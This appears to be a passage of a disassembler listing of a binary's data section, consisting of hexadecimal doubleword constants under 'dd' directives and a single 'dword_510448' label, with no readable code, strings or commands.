dd 0D03323C4h, 0DEF7E4h, 0FDCCEB58h, 2CE30A6Bh, 0C6AC4300h
dd 7724C793h, 14B10021h, 71D3EE13h, 0F8E91841h, 550F4F36h
dd 0A079C5C0h, 40073C30h, 0BE960023h, 4619A837h, 0D90042FEh
dd 41E0F588h, 7F775154h, 152600D6h, 1225E391h, 970C3414h
dd 0C8E4C1BBh, 841A003Dh, 651BADC6h, 5800DCF9h, 0A9591C9h
dd 21623h, 5AAA5EA0h, 0CB57EA69h, 84467F01h, 0BC9A8212h
dd 0E233C8h, 0C724DAEBh, 0D7F6C401h, 19EAEC60h, 15BCE32h
dd 0D8E94EA8h, 70108697h, 0AB7F6DD5h, 8089553Eh, 6ED13FF5h
dd 32E17Dh, 2A995470h, 64B3B9E5h, 1F30150Fh, 4118061h
dd 7D5DAEh, 0E6E544BEh, 0B237B5CBh, 81F09F01h, 0B379C9BDh
dd 0A5C0ECh, 6504EA9Ah, 6934B2D6h, 22C38000h, 941AFDC6h
dd 91A80041h, 245357Ah
dd 0B2008167h, 63168858h, 0E9B8E8h, 4BAA38DCh, 6940240Fh
dd 3071E513h, 7F606C18h, 456E58BCh, 80C6471Ch, 5BFEDF18h
dd 0AA0757C8h, 0A653AEC0h, 3160483h, 33A76B11h, 0DEF8C7DCh
dd 1401788Fh, 2FE25654h, 0A7E00B83h, 0C7BFE240h, 10CE3E61h
dd 4EA61BAEh, 0C628F6B8h, 42C0FA56h, 0E82CB37Fh, 4E20020h
dd 0A76801FBh, 1C0AAF30h, 84928547h, 0C5FDF887h, 60A02896h
dd 78FAA866h, 24A079E4h, 927B8AE6h, 5807C67Bh, 0F8834845h
dd 40885AC2h, 0C5A526h, 0AF65B878h, 1AB4D5BFh, 0D42EF800h
dd 0B262A65Bh, 0EA8C0FE8h, 5C40E56Ch, 2A55F30Ah, 0F500C476h
dd 0D4892BFh, 0EE2FCECh, 0F91B99D9h, 0E9663D20h, 0B00502FBh
dd 71DDA9C0h, 7A431480h, 9F860028h, 34054E14h, 0FF00C727h
dd 12C1742h, 18C353FCh, 0C1515B95h, 39012DABh, 20502F11h
dd 30C344BFh, 9121BD08h, 0E4003935h, 193F2DE3h, 0EA4D73A1h
dd 0EC1689C4h, 8600F1F9h, 0CB793CC1h, 3E2F51h, 523D354Bh
dd 549BC050h, 80C4FA7Ah, 3490C821h, 0D91345h, 0E022EF75h
dd 0DD6C67EBh, 0E8CF5012h, 0CB4E9D01h, 2081C52Ch, 77F7B7B3h
dd 209CDA2Eh, 0DC437E7Dh, 9785FA3Bh, 2082C34Ch, 10392C78h
dd 11582F23h, 349001C8h, 1D659D39h, 0B0DFCDF1h, 11CBB83h
dd 0AAC5447Bh, 24BEAC3Dh, 0FF005334h, 0EEE5618Eh, 663C80E7h
dd 216B0806h, 8ED77C00h, 0CA5328D2h, 0E6B400FDh, 0AA61A58Fh
dd 620D86C2h, 0D0840C47h, 37280C20h, 8988C1D2h, 0AFFB880h
dd 60908878h, 747E4D48h, 131E860h, 72AFE83h, 276A524Fh
dd 0C9CA141h, 1A9840EEh, 64922940h, 20F24C1Bh, 0EAABA920h
dd 0BC054710h, 3E97FF80h, 0A0C9DA3Dh, 2B39103h, 41008ADBh
dd 2D11121Fh, 5CA633AFh, 86617C7h, 0C400212Ah, 991D1115h
dd 1CF51A65h, 38BC5BA4h, 0AC2D6315h, 643DCB00h, 0A6B6099Dh
dd 68720B48h, 0D41138C8h, 2B111480h, 448C23AFh, 2F00C642h
dd 0F6615611h, 24A2EDB8h, 5E6C4C7Ch, 8400C346h, 5CD5FE9Ah
dd 0B00DE1Ch, 637CE5A4h, 0DE04BE3h, 0C3386222h, 0AF01DCC1h
dd 0B9E6D230h, 0ACCFABh, 36BF59FAh, 1A3562DEh, 45D8A118h
dd 0B603A9h, 0F85A9AD1h, 1167981Fh, 62BE7901h, 0F9AA23C2h
dd 450CF30h, 6433E15Eh, 86085C0h, 5EC02D04h, 217803FFh
dd 0E60D870h, 0D0FE76h, 54F46DF2h, 0CA4B094Fh, 0AC88BF29h
dd 0F0192A79h, 0EA00356Eh, 3C4D4DCh, 444432C1h, 0EB034CB9h
dd 0ED5D5B08h, 0D3A03D6h, 0C476450Ah, 0C44D2029h, 6C60AC7Bh
dd 650E3257h, 4002CE27h, 0D125FA34h, 2BAF00DCh, 5D113C82h
dd 0D2372904h, 760F9CAh, 318CE041h, 6F787932h, 722B0C44h
dd 912F7039h, 330BC000h, 0A83A1439h, 2CD29D45h, 1DD6DB40h
dd 16E1C3B0h, 20A9FA6Ah, 7A75E328h, 0A7942554h, 31196160h
dd 7AE12857h, 9DDA0084h, 49F5025Dh, 0D830B6DBh, 0F8583124h
dd 0FA70190h, 537C52B5h, 0C4CAE954h, 3301FC11h, 0EC764CD1h
dd 6423E34Dh, 6330C2A2h, 0EFA61D60h, 471DBDD9h, 0BAE783BCh
dd 29005044h, 34F2370Fh, 0FC5EA70Dh, 721007Dh, 93C8D7A6h
dd 3380C567h, 0F411885h, 0EDD8E16Fh, 0E8EFF700h, 0B6076DD1h
dd 27660005h, 0A9102E7Ah, 0D5034CAAh, 781A6412h, 3F15B86h
dd 0FCE89A4h, 0B78C66A0h, 0E509F178h, 23C52294h, 0B10A406Ch
dd 1180DA17h, 1842BAC0h, 0D70554EBh, 0ED1A66FAh, 0EC68880Ah
dd 163956C0h, 2228462Fh, 3EA60F60h, 9E002A39h, 0AD2ED986h
dd 0DB468490h, 36112B02h, 23313BAFh, 1122BF10h, 0F114C600h
dd 5A128051h, 0F3E151Bh, 0D1008C64h, 3FD9A240h, 0C700B07Eh
dd 4CC384B5h, 90CC45F8h, 40EB0050h, 0AC200BEFh, 22006218h
dd 39DA6982h, 21C61BCh, 0F25FCBFDh, 33C04A8Ch, 3F0643E7h
dd 0B24175DBh, 0D8D00189h, 0E64C1305h, 620EE0DFh, 342A81C2h
dd 8943C040h, 29100CDh, 325410F3h, 1D4C4DB1h, 456381ECh
dd 306286BFh, 5F002C23h, 6878FEFFh, 354486D8h, 777F0Dh
dd 0BE21BA9Ah, 93011C95h, 32446D0Bh, 0F86C88F7h, 1DB55F40h
dd 603B88Dh, 0F20F2C0Dh, 622AA8A9h, 0CB018844h, 48D5464Dh
dd 0B6EF36B2h, 421A1919h, 20854993h, 0A72860F4h, 7921FC14h
dd 3929815Bh, 63302F15h, 310580DCh, 0DDCA39h, 89954FA4h
dd 712C8E17h, 7BE1D500h, 3E7DF486h, 1DE605DFh, 8C034763h
dd 28C23BCh, 7801FE7Ch, 1619DEC0h, 0FF740017h, 520186A2h
dd 8EB8975Bh, 8980AD44h, 0E25E3D47h, 89399333h, 0FB2B1FF6h
dd 0B09C7214h, 5BD4F06h, 0F3693F5Eh, 0C800CB59h, 1664C0EBh
dd 0A2003437h, 1E619658h, 362A92h, 0C6F088D6h, 0F8BB3D91h
dd 94807126h, 0C9813803h, 508800F2h, 4FC7B74Bh, 0B8005462h
dd 3D6341BFh, 7BCE04Ah, 7C80DE9Eh, 54A9A046h, 0E1757ECBh
dd 0E2EC9200h, 0F08DA478h, 253A0395h, 6BCC5EEh, 46A026ABh
dd 0B701D814h, 72115E36h, 2EF039C7h, 55CE00C1h, 91CABB5Dh
dd 9D074F17h, 0F7BFD3C5h, 25B6E110h, 0F7C00A7h, 94B2DD48h
dd 5B070AB5h, 0F5BB9263h, 8589A0A0h, 6D8F017Dh, 4250F224h
dd 0EF808030h, 0AAE54520h, 7DEC9Ah, 0CD5B4C22h, 5F4D7B55h
dd 71091104h, 0CC6A9E2h, 30A340C0h, 1EB13E40h, 805C44E4h
dd 0FD4811B0h, 9E8ADA2h, 9DB70A00h, 645D50CEh, 0F27E03Eh
dd 0D6962CE3h, 82C92A00h, 330048F7h, 0E2E1EA63h, 3E36B859h
dd 7C8095F5h, 0BB91DC4Dh, 0F001215h, 4B06CB3Bh, 0E187DAh
dd 6848CA2Eh, 0AAB3376Ch, 0B1242900h, 89C0CDFCh, 81820C94h
dd 941BCC6h, 1D16600h, 0E926C527h, 65200CAh, 0E4D8A54Eh
dd 27D0D4Ah, 0ABB9603h, 912C395Ch, 0A0405925h, 188C12ADh
dd 0C0033358h, 0D9718DD2h, 0E01C34Ch, 422F72EAh, 80B21F21h
dd 0D4DA9C80h, 0F1FC0093h, 2D340B7Eh, 0BB3ED958h, 433A9F3Fh
dd 3E756607h, 60F8F481h, 99D07DC5h, 28AF1E58h, 42C580E4h
dd 74E36F41h, 248EA916h, 0C17AC900h, 7CF148E2h, 8540C097h
dd 314A2CA0h, 0B62A7001h, 88FF838Eh, 0F40A4A8h, 1C98E009h
dd 66B74C20h, 0F3009DFCh, 22F8C928h, 5DCE04h, 236CA45Fh
dd 0AE65BFBEh, 0F17AC700h, 0C9536D35h, 0D525074Ch, 226313h
dd 0EEF91417h, 0CFC33200h, 4E05D192h, 0F40C1A7h, 0C608202Eh
dd 0D6134740h, 4D44100h, 36C5946Fh, 277C9Ch, 0FEDD1EE3h
dd 57C20D88h, 0E737E800h, 1F2624B6h, 0D2733F4Ch, 0D487A4h
dd 7020B9Dh, 51982380h, 89D60938h, 0C70D72h, 1540B1ADh
dd 1045006Fh, 0A3832A17h, 1F0BD23Eh, 31A0B38Eh, 570105Ch
dd 5CC359AFh, 0D2963B88h, 47A96C02h, 4864FBh, 960725DBh
dd 3D5EFE46h, 6D4D8101h, 8BA57BF8h, 458F3980h, 98419D92h
dd 0E603F702h, 0C18C397Eh, 1518D59Ch, 0CA74112Eh, 0C9404021h
dd 964112Ch, 0C8EAF67Dh, 0E9420CCFh, 0D4E61061h, 21F4DC43h
dd 7DA9F20h, 36FE7200h, 0BE0E4C96h, 5B090073h, 17F52FFFh
dd 1203B73Eh, 4A82FA37h, 113DA136h, 0DCE2087h, 851DC016h
dd 7D1C7B31h, 3E115EB5h, 0F1BADE0Fh, 0D6CD8420h, 0B4005CF9h
dd 90CB349Bh, 8AD8D7h, 436DCC76h, 0FFF8098h, 0B68F091Eh
dd 4E083800h, 0FD6FD85h, 0B07B7A25h, 2D3D7F60h, 700B802h
dd 0F3BABC0Dh, 3D64568Bh, 18BAD5E8h, 6AFF540Eh, 960F80D8h
dd 0DAF64F1Ch, 4A97F500h, 3FDBFCD9h, 7700D3CBh, 659A8C43h
dd 5300900Ch, 58F47D91h, 0CB8F25h, 0E00520CDh, 8E046DFBh
dd 24EDFCFBh, 0D107DB00h
dd 8C535291h, 307EF435h, 371BB15h, 70E976E7h, 79016B69h
dd 0EFB65190h, 81D4A291h, 24C603B0h, 3AEB368Fh, 0BD5C6CA0h
dd 0FB067500h, 0D9640A9h, 1CEC0A44h, 88CFB3h, 4233285Bh
dd 0FE00C9C7h, 7AA0F1D4h, 0C1EAEBh, 29F9555Eh, 0B51AD60Fh
dd 57988103h, 15A28C4Eh, 0AC863191h, 5E3FA300h, 0DF946054h
dd 16A15107h, 0B770489Fh, 0B093E439h, 438E00F6h, 1FF89925h
dd 6A03CDD4h, 9C30E9C6h, 0A705D922h, 5C9BC5C8h, 0A57B4D47h
dd 5B17D504h, 0E415400h, 0F85785DEh, 19C30024h, 0B24C9950h
dd 4700893Eh, 0CAD853BBh, 3876F59h, 23B3559Ch, 293F1F25h
dd 646C556h, 11EB4229h, 0A086581h, 1E0894E5h, 84BF90F9h
dd 6E4460B1h, 0C5DF44E4h, 5686C342h, 38421560h, 3599EF00h
dd 0A7C223A3h, 0A64E00B0h, 9EF69B6Bh, 9600B551h, 0E76F88F3h
dd 0F75ACh, 0A88D0BF9h, 454F6A22h, 66058600h, 2E65E79Dh
dd 75AF0070h, 10BECB0Dh, 8D009FEFh, 0B3F6CDFAh, 0D6FF46h
dd 2B248FC2h, 43D7B75Ch, 2910370Fh, 0AA95C19Ch, 28E0597Ah
dd 0E17D00F3h, 774EA85Eh, 0A30039B3h, 577854E3h, 3806C11Fh
dd 0B7B277Ch, 0CC535695h, 0E698C00h, 0CB3AD82Ah, 34058384h
dd 0B82F1459h, 7CB4A7h, 0B6467A12h, 0CC6BAA37h, 8F805001h
dd 0ADF9C459h, 4C931430h, 0E0404B88h, 0D754009Ch, 0FCE044A4h
dd 37077F84h, 72F5839Dh, 8FF2F330h, 73200002h, 5BC61C58h
dd 4A246A92h, 3C00DA62h, 228D9D96h, 5F673D88h, 27822B8Ch
dd 1A00E048h, 60E7753Fh, 81EB8Eh, 0F2AAF7D5h, 0D1ED4E10h
dd 0AB907300h, 5B9F05C8h, 0B4800097h, 7F6920EAh, 3901A418h
dd 5FC96B60h, 40209EFFh, 174600C4h, 0B67AB82Ch, 61858C7h
dd 0F370FD9Ah, 3C6F002Eh, 8CA8E910h, 500072D5h, 92203722h
dd 0FD412C3h, 4BD16C1Bh, 0B9EAEDC0h, 33008338h, 0AA564EF2h
dd 8BF595h, 4D35D367h, 14850525h, 9901D7E4h, 9F59E727h
dd 13C47E24h, 6EBF00A2h, 73E60EC3h, 1A14B950h, 0A974DDh
dd 0F72DF47Bh, 1B7AA9h, 9F26F9D5h, 7DD76EA3h, 0C30001B0h
dd 0EDDB2D13h, 9A8C496h, 0D3A639AEh, 0C8F79180h, 46F6786Ch
dd 0C933E31Fh, 0FF050078h, 7094E8F5h, 25A01442h, 7C00E0CFh
dd 49BD8B55h, 523D33E4h, 0BEC3803Eh, 606A2417h, 0A8007CFh
dd 0B0DB6381h, 0DE45DC7Dh, 0D8B18900h, 5D9BBDFFh, 75950018h
dd 0D5EA7298h, 70903BA7h, 0CB03DD7Eh, 0CE77BE79h, 0A8508B24h
dd 1871ED1h, 27E9C05Bh, 43D770A4h, 6B021B4h, 7C0078B8h
dd 0A13D80A6h, 0F10C5Eh, 244C9BA2h, 0E75DE512h, 0BEF6260Bh
dd 0B6C9063Ch, 0E4520030h, 9DEEC246h, 9E07FB04h, 4A6C9508h
dd 8178E5E0h, 330F0002h, 0D9A9085h, 0E8FCDAFEh, 6472F100h
dd 0A091880Ch, 0BCA100C6h, 0C303D9F7h, 0DD01B81Bh, 1D15BD8Dh
dd 9D60C8E5h, 0A8F03D4Ah, 4153D61Dh, 454BBFFAh, 0C01DDD27h
dd 801D8F11h, 0E500B516h, 60064341h, 0A3A60B78h, 5DE249h
dd 0C4A15ECh, 0CB8800FBh, 4E67D895h, 0B800E890h, 9E944C96h
dd 3C16481h, 0F2770BADh, 6298C395h, 4500D451h, 802E6CCFh
dd 108281h, 0D54C0AE4h, 0DBA20B07h, 8498E000h, 70161712h
dd 6BDA0EF5h, 76831014h, 0D6A87F35h, 530EE7E5h, 876765C7h
dd 38C0F6B5h, 62A90Ah, 0B836EF14h, 988B3AEAh, 0FBDCC900h
dd 5E27301Ch, 8819007Ch, 6D4D5BEBh, 7500B916h, 6090BAD1h
dd 9202Dh, 27D5D23Fh, 0C7D4C69Fh, 3B23A003h, 0E82F17E6h
dd 109E7Ah, 667D5D5Eh, 0C8BA506Bh, 2D110801h, 9C8DA3C3h
dd 385020h, 12E6826Fh, 91BAEAFEh, 652CD900h, 0ABD6CA5h
dd 935F3A70h, 44F35180h, 169FA1F2h, 0B3FBD100h, 55CFDE0Bh
dd 576200F7h, 0DF27042Ch, 0BF0ACD6Eh, 0AC385B67h, 0B500D813h
dd 0F0E4ECEh, 3F3C00AFh, 0DB595303h, 2C00F892h, 0E2C879B7h
dd 1F665CDDh, 809F13F7h, 767DC449h, 8B008FE4h, 0A8E68946h
dd 0E19233h, 95F87C1h, 2B1395F6h, 89EB3B02h, 0E028D3E3h
dd 311CF34h, 0BA254EBBh, 71B054A8h, 0A7782D2Fh, 0B14AF0E7h
dd 0C494000h, 0A903C9E2h, 0EC7DC1h, 0C6BB87BDh, 810E9D75h
dd 39006F71h, 3693550Fh, 7F4CAF31h, 51A10058h, 287BF3E4h
dd 7D00DBD9h, 6AAA6CB7h, 31E05Ah, 4858B91Ch, 950A027h
dd 7089D300h, 3C1AF7EDh, 55C246Bh, 0DF5D0B7Ch, 446080FFh
dd 3BC264E9h, 571D2D18h, 0FEA40075h, 1C25D9D1h, 301A701h
dd 477B9236h, 9DEE8C8h, 3CCB3244h, 765FA900h, 4900B579h
dd 6BD6B663h, 4987264Ah, 6A03F48Ch, 5244E29Ch, 0D321CCA8h
dd 42E8C60Fh, 0C07BCF5Fh, 4BBA6F2Ch, 0FB67031Ch, 21EC0D46h
dd 0C9DAB400h, 14C30231h, 809201DDh, 9BD189C0h, 107A301Fh
dd 0BDA63500h, 4821F846h, 98230F38h, 316C06CBh, 0F701D0D4h
dd 61EB81BAh, 12E8EEB9h, 995A01BBh, 6A8B0FBh, 0CA2ED024h
dd 0B28E0500h, 162201BCh, 83F2055Ch, 81D27775h, 0E0CEB7E9h
dd 84006025h, 0D7BB0A73h, 986C3Fh, 5CBE2B5h, 6A74C733h
dd 411D2300h, 0E1F32BB9h, 0CDD005Bh, 29647E10h, 0DE1F61A2h
dd 873EC9F0h, 0D2B1BCDh, 635D95C0h, 3F6C0714h, 0E04565C0h
dd 773A7ABBh, 65A4800h, 0DB2BC282h, 91392D66h, 20208DCh
dd 81BCAB18h, 63019F94h, 0FA09660h, 24CB0B5Bh, 0EAF86560h
dd 20FCD47Dh, 0AED98F07h, 6F0072B7h, 0C2C71h, 1E76FA08h
dd 9E93EF58h, 184C31Eh, 5BBF2840h, 0FA9471h, 981D2B97h
dd 237F3BB3h, 0AFB48F00h, 9E209A91h, 37473FBh, 813A28A7h
dd 0D8030D9Dh, 2B4F4684h, 0D81102C2h, 431E1660h, 23103960h
dd 3FB43901h, 85D1269Eh, 0E0DAC852h, 4F11054Bh, 3DA87Eh
dd 40E8E2DFh, 74BCE5h, 50202624h, 7D137C3h, 0CB54EC00h
dd 1CE805Eh, 468900B2h, 813140Ah, 1E00CA31h, 97DA55D1h
dd 0B94A4h, 0EAF0D422h, 72B2A2F2h, 0A0011307h, 1E44A6D2h
dd 0D14067C0h, 0F0C800A1h, 0F1CD22D8h, 9400BEF5h, 0EFCD6DAh
dd 1998C4h, 107D6086h, 1318690Ch, 89676C00h, 36268EDDh
dd 0E9DB0FCCh, 28E040DAh, 0BD09FDD3h, 16B57D00h, 69338ABh
dd 0E170F30h, 5380E9C6h, 0CFBFC552h, 168F590Fh, 7FD9E03Dh
dd 0F37C27h, 100AB3C6h, 494D70AAh, 7537A214h, 6AA600BCh
dd 0A043F72h, 0E19500D2h, 45F15601h, 5E03B902h, 8597201Ah
dd 0E34B8EFh, 79950058h, 5DD6AF6Ch, 9C0F9640h, 606D53B8h
dd 3FCD7BA0h, 7F90C6h, 394569F2h, 3E370F84h, 7B24757Dh
dd 803BD01Bh, 0EEBA154h, 3AAFEE0h, 4262D689h, 1CE0DDC2h
dd 113FFD7Eh, 197F8030h, 4564902Ch, 0D71B0083h, 0E3299955h
dd 0F300787Ah, 0B0392718h, 1EF7EE70h, 47ED938Ch, 17D52E97h
dd 809D07D6h, 827CE2F6h, 73D83Ah, 4BBE9C4Ah, 1CF81BC1h
dd 40673889h, 9AE1C010h, 2490F348h, 2997540Eh, 89BE603Ch
dd 0AF5E16h, 0D2227F43h, 6B41CFF6h, 2D24567Ah, 310030A3h
dd 9617C2E7h, 33AB01C7h, 52FF04D8h, 63C8CB9Ah, 0C94892E0h
dd 6FA51FECh, 5638FA40h, 6C04C5h, 1C11211h, 1517DE3Ah
dd 9E554B00h, 0FB2DDBE7h, 36063A85h, 0B66213h, 11E8613Eh
dd 0F20414A6h, 981C24F1h, 1EC28490h, 4A9700C5h, 0E2896656h
dd 0F009C07h, 75245894h, 9265E5Fh, 2A1A7428h, 30087807h
dd 321F444h, 0F2124805h, 80009DAEh, 66351C52h, 3CCD0043h
dd 4623EE89h, 0A8981044h, 0F6A07000h, 569E4E8Ah, 0EB170174h
dd 0B47501C8h, 8DCCE42Ah
dword_510448 dd 0D6603D75h, 3A7A819h, 35DD18ACh, 1D1360F5h, 436DE703h
dd 0A88DA6DBh, 18357F2h, 254F6E55h, 40D8D023h, 35DB52ACh
dd 300B8C07h, 215019B3h, 3F0F17h, 396EBB80h, 57E5BCC8h
dd 55514700h, 22BEFC7Fh, 0FFA20106h, 0D002F82Bh, 205E71DDh
dd 56F8EF80h, 92FC5E03h, 0C0C20AAAh, 4FEBF7h, 8A6328Ch
dd 0B4A56235h, 1AFECFE6h, 9C041100h, 0AEA1EBAFh, 1AA7B3Fh
dd 45CDD43Ch, 0C0F52341h, 0AB60ECE5h, 3D9569BCh, 0C6BF001Ch
dd 10CC4919h, 3005602h, 5184FBC5h, 0ADCF63h, 0F2DAE23h
dd 0EF062A13h, 80C6816Eh, 0DE98FFF8h, 0D88E00D1h, 6EF95AE0h
dd 73F8CB22h, 0F1FD5902h, 40576C68h, 169CC5FFh, 12829441h
dd 1DE001F4h, 0DCB16A54h, 0B30065B5h, 91F50C4Fh, 498951h
dd 2DD7CB0Dh, 0B5D8ABC0h, 489BEA00h, 9E63FE74h, 0E9B834h
dd 1F04F259h, 7FF9CDE5h, 19CBDF07h, 7D10216h, 34C4B847h
dd 0C15A3839h, 9A69428Eh, 96B946C0h, 0C607CA4Fh, 632E4A71h
dd 88B77970h, 0E777071Dh, 80751FBBh, 3AAABD5Eh, 0D651D900h
dd 0E1EB4799h, 0AD3B0026h, 0F2589036h, 7C00F0A6h, 0AE609EEFh
dd 604EAC45h, 0BC48800Bh, 100097B3h, 0C62B3729h, 54E84Dh
dd 3EF1346Dh, 0CD314526h, 3C14CB0Eh, 7E508167h, 0FC60330Fh
dd 481480Dh, 0E2AE603h, 0E9B067ABh, 0D801B187h, 6E533D6Fh
dd 0EFF05F05h, 8862006Ah, 5A801E6Dh, 0E600D504h, 55493310h
dd 72C6EF92h, 442000EDh, 947D90FEh, 6A048A04h, 365AEE4Ah
dd 0F158A5C3h, 1B20B0FAh, 2087003Ch, 0B9A5CC19h, 5D0731C7h
dd 0A3F77EABh, 41C80039h, 1A7B070h, 1226E468h, 975E7Bh
dd 0D42031h, 759490F9h, 0E4303E11h, 0EBAD3600h, 7A577D9Ch
dd 2D68004Dh, 0D0449F55h, 0AF00CCE9h, 8533FB9h, 4CD688CBh
dd 8400F86Ch, 0D980D24Bh, 0B200FB70h, 0ED747FDAh, 8CCDDBh
dd 0A35F1E4Fh, 8554102Fh, 8B28D13Bh, 9DCFA0h, 5DB9DFC4h
dd 92FF809h, 0F2664043h, 252D080h, 7800C4BBh, 0A06731FAh
dd 724102Bh, 54087E43h, 0EB304090h, 0C400E629h, 687539C2h
dd 1B1DE47h, 22411609h, 0C07CE743h, 0A83ED064h, 0B7778018h
dd 461A2A4Ah, 0FBCB00AAh, 2B655A9h, 1259BF90h, 25FD0784h
dd 33C05911h, 5807B062h, 7600703Bh, 0D18E025Ah, 6500E6B5h
dd 416A53B4h, 24F296h, 8490A6F4h, 274C7EE4h, 48A8B700h
dd 4A3FAC0Ch, 25F03B6Ch, 7CE94D02h, 50C07409h, 70B0C494h
dd 5FB60200h, 0F377DEF7h, 5BFB00D7h, 0C3D540E6h, 0C4008F14h
dd 0EDEC03F0h, 24CC7A28h, 7000692Ch, 0AC001837h, 0AFF74285h
dd 0E2230F65h, 0BED50729h, 682FD2h, 0E65EAC4Ah, 4013578h
dd 8AC35540h, 2C21DCBEh, 73DEEFE0h, 19A0082h, 0A828F4B7h
dd 0BF09FB7Ah, 0D39E5Fh, 0DC9BB818h, 6D220B39h, 0C40C1A04h
dd 9800683Ch, 0A71BD02Ah, 0A28F641h, 4246357Eh, 678B3D0Ch
dd 48009ACAh, 781F29D8h, 63471D00h, 870473FDh, 21A16039h
dd 6214727Ah, 26ED9400h, 0C87F9241h, 0AFB031h, 99B4F0Ch
dd 12784E1Eh, 0B3B8A45Eh, 8495ED07h, 30652233h, 1AF0E4C0h
dd 86BDA200h, 0E70249DCh, 0BAD20037h, 7457198Bh, 0D51D5945h
dd 3580F4CFh, 0F753F6BBh, 0F57D17A5h, 8C0F1041h, 1046B600h
dd 0F36FBE9Ah, 34997A07h, 86005E47h, 0DF63AEh, 0EE248D58h
dd 95C5C1DAh, 0BCA1D517h, 0D1058840h, 23E34Ch, 4D36F158h
dd 52CE9237h, 5CD60100h, 85033069h, 3CF3241Bh, 0FDC2018Ch
dd 40798D17h, 0CACBC0B8h, 8A324C03h, 0F0768938h, 0A09DAF7Eh
dd 14644094h, 8C91CA66h, 89F7551Eh, 0D0A03D78h, 5DEF25BAh
dd 8F129C00h, 1024F38Ch, 8A7964h, 0DA4B9B2Fh, 523C2847h
dd 0ACF85A1Eh, 357301C0h, 2A36F90h, 0EEF7AA4Ch, 3CC00682h
dd 36002A51h, 0D527C047h, 71A22CF6h, 161F019Fh, 0BB11E2D4h
dd 0E4F0DC71h, 0F115DE0Eh, 79805EEFh, 42F2806Eh, 3B760002h
dd 6CB41BAEh, 7D00DCDAh, 55ED9D66h, 1EF36015h, 40C99E53h
dd 0B4E525E1h, 5A00200Bh, 4EEB0928h, 11ED5EAh, 89D34F22h
dd 0F03AA4A1h, 0CE1DAF43h, 0CD81F198h, 5347FC29h, 2FFAD0C3h
dd 0DECA00A1h, 1461E28Dh, 0A409D33Eh, 741B5Dh, 7087424Bh
dd 4C4A00E8h, 684E01Ah, 98F6B0BDh, 767880E9h, 0F86F297h
dd 882C024Eh, 587A1BF4h, 27B00C60h, 82532600h, 0EF19302Fh
dd 6B3900FAh, 1E670ABCh, 0DD00DA11h, 0E5E1A261h, 0F0FD77h
dd 99472406h, 0A3E2329Eh, 2FCBC700h, 3DBCB9B1h, 96AF0186h
dd 9369BA1Eh, 2659EC57h, 0A6CC70F5h, 193C6217h, 535200BEh
dd 4BC4DC0Eh, 0F4300CB0h, 92A810FBh, 40AF7832h, 0B40C2AE3h
dd 20F1BA06h, 167C7D3Dh, 0E5C7B3h, 0F81C4308h, 1A04C0A5h
dd 0B43C4998h, 23F5CA0h, 0CB9CD76Fh, 9CC013D9h, 4302F0F9h
dd 0BB671C5Ah, 3B80813Eh, 31B0F47Ah, 90A1E499h, 1D00DFE8h
dd 3A13BB6Dh, 7E3FB166h, 0D5C50588h, 0C6E88462h, 59009881h
dd 3CCF21B3h, 0F0A454Dh, 0BDE4BBD3h, 7CC7360h, 0A81ECE39h
dd 84C3446Eh, 0D094B6EFh, 0FC96A79Eh, 9AC598DAh, 490D18Ch
dd 6F4EF4ECh, 0A5432400h, 39A00A31h, 278F753Ah, 88CB0172h
dd 119FD283h, 871F6BE0h, 3E54B03Eh, 0FDCF0F42h, 0ACA1809Ah
dd 6014057Dh, 3C4859E3h, 2627CEDh, 10361D50h, 73254DBEh
dd 32BC03E7h, 85EC93EAh, 3070D800h, 961B9Fh, 1AD36A90h
dd 0DC8CB19Dh, 0F7C1E30Ch, 0A866B9F5h, 803DF960h, 1130606Dh
dd 98A559A3h, 12CF2CDh, 0F1961C7Fh, 503289B1h, 0FCAE0770h
dd 0AA6A2000h, 3B706314h, 80AF3BE7h, 491F6D86h, 8800E88Dh
dd 0D4A506FAh, 0CF11D3Ch, 381A4DBCh, 74399669h, 4CD611h
dd 0F1656FA6h, 0E83BBA12h, 20B949A0h, 117C4F04h, 48709025h
dd 7018CD82h, 0D4A8847Ah, 0C1FC9038h, 9E68CF38h, 4C1881CEh
dd 127B990h, 97F0F3F1h, 0B4A580C5h, 2E15E618h, 151DB51h
dd 35923B7Ch, 0C15C981Ch, 0B1F6D319h, 7C498A00h, 0A5463347h
dd 0EC39504Ch, 88C00345h, 77AFB666h, 0CF20FB80h, 9C9ADF3Ah
dd 0FA10BBC1h, 49CA1618h, 8E008659h, 50391317h, 17C9ECD3h
dd 2F49607h, 66D24069h, 0B0009470h, 0DD3452CFh, 75BC360Fh
dd 2F68CCB3h, 0B9C020CEh, 70F650FBh, 6E4808h, 0CD43FD03h
dd 0A018C268h, 0F0109B44h, 0ECA1818Eh, 0A8C00282h, 0EA6E3EE1h
dd 10B0A8BDh, 9A5803E8h, 2E56FC43h, 0A4909FEh, 0DF00014h
dd 3BEE6057h, 38A349A8h, 8CE8A440h, 923DD480h, 0A41AE529h
dd 0F0D795h, 0C37C47E0h, 394D6235h, 46810703h, 896FBBE2h
dd 0F8D44054h, 5B006934h, 0B43295A3h, 0C08F30A9h, 283B75C0h
dd 0E700CDECh, 745C5265h, 7D5B7h, 94733EA0h, 0E1D27CE4h
dd 0B6108D00h, 8B03BA50h, 0C2530001h, 62A57A0Dh, 26003AA7h
dd 0CB85EC4Fh, 759B4h, 0EB1BF608h, 31378633h, 0C6AF200h
dd 0E8F45166h, 40CA0062h, 61205CBCh, 2100635Eh, 0F086A182h
dd 9665A47h, 0E92ACFB7h, 37B3CC00h, 0B10F269Ch, 0EC1349h
dd 650A502Bh, 14A800BDh, 5B4F8D9Eh, 0E007411h, 853B46CAh
dd 71C42707h, 93A800D0h, 3995D5E2h, 70C15B1Dh, 0E0EF1273h
dd 7EEA20FCh, 115F068Ch, 59AE5436h, 8670B0FAh, 80CAB63Ah
dd 0FBE9829Eh, 1F7F618h, 13DCA664h, 0DCB8BA02h, 636A0438h
dd 6007D0A1h, 0D8CCA8E2h, 3E0F0C5Bh, 0CD590608h, 0F203C3EEh
dd 863C9558h, 0DA910056h, 82B2E2B8h, 38C064FEh, 71624F6h
dd 0C78F0088h, 0CFD84A52h
dd 6A02AEC9h, 6745A520h, 31B580F2h, 1934BA8h, 95D9367Eh
dd 20E6E7B1h, 8D0027B7h, 0FC7735B0h, 60919AFAh, 2480083Bh
dd 0F44CE886h, 264F008Dh, 41DFAE38h, 43BB018Eh, 0D32AC491h
dd 0F1CF486h, 421B29C8h, 0B8241752h, 0C710CF22h, 1884882Dh
dd 6D085C89h, 22F3F420h, 45502573h, 31841028h, 0FF29F73Ah
dd 52BE002Eh, 806400C6h, 0C3A169E0h, 190089C1h, 5B6F545h
